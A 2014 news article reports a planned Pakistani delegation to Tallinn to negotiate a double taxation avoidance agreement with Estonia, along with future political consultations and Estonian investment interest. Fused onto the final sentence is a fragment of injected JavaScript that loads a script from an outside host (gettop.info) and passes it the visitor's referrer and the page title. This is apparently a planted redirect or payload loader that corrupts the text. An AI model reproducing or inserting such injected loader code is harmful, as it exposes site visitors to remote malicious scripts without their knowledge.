Published On: Mon, Mar 24th, 2014
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Pak delegation to fly for Tallinn, to redress avoidance of double taxation issue with Estonia

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ISLAMABAD: Federal Bureau of Revenue (FBR) is making all out arrangements for the visit of a high-level Pakistan delegation that will fly for Tallinn, Estonia likely by the end of April.

The high level delegation will comprise the high officials from FBR as well as Ministry for Commerce who will hold sittings with the Estonian trade ministry officials in Tallinn.

During these sittings the issue of avoidance of double taxation would be negotiated between the two countries and is expected to be fixed during the high level sittings.

When contacted the Spokesperson foreign office, Tasneem Aslam, she mentioned that preparations in connection with avoidance of double taxation between the Islamabad and Tallinn are under way and Federal Bureau of Revenue is handling the issue.

Both the countries are also looking forward for the next round of Annual Political Consultations would be held in Islamabad during this fall, however no official dates for the Annual political Consultation has been finalised.

Spokesperson Foreign Office while talking to reporter has confirmed that no dates for the upcoming Islamabad Annual Political Consultations between Pakistan and Estonia has been finalised yet.

On 8 December 2004, the Protocol on establishing a mechanism for political consultations between Estonian Ministry of Foreign Affairs and Pakistan’s Ministry of Foreign Affairs were inked, following which the last foreign policy consultations between the two countries took place in Tallinn in February 2011.

Republic of Estonia is desirous for exploring new avenues of trade ties with Pakistan in the fields of economy, culture, tourism, education, and is internationally recognized for her exports in mineral products, metal and metal products, paper, paper pulp, and paper and cardboard scraps while importing textiles and leather goods.

During his recent visit to Islamabad the Special Representative of Estonia to Pakistan, Vaino Reinart has already expressed his country’s keen interest for investments in Pakistan’s energy and Information and communications technology (ICT) sectors which have great investment potential.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;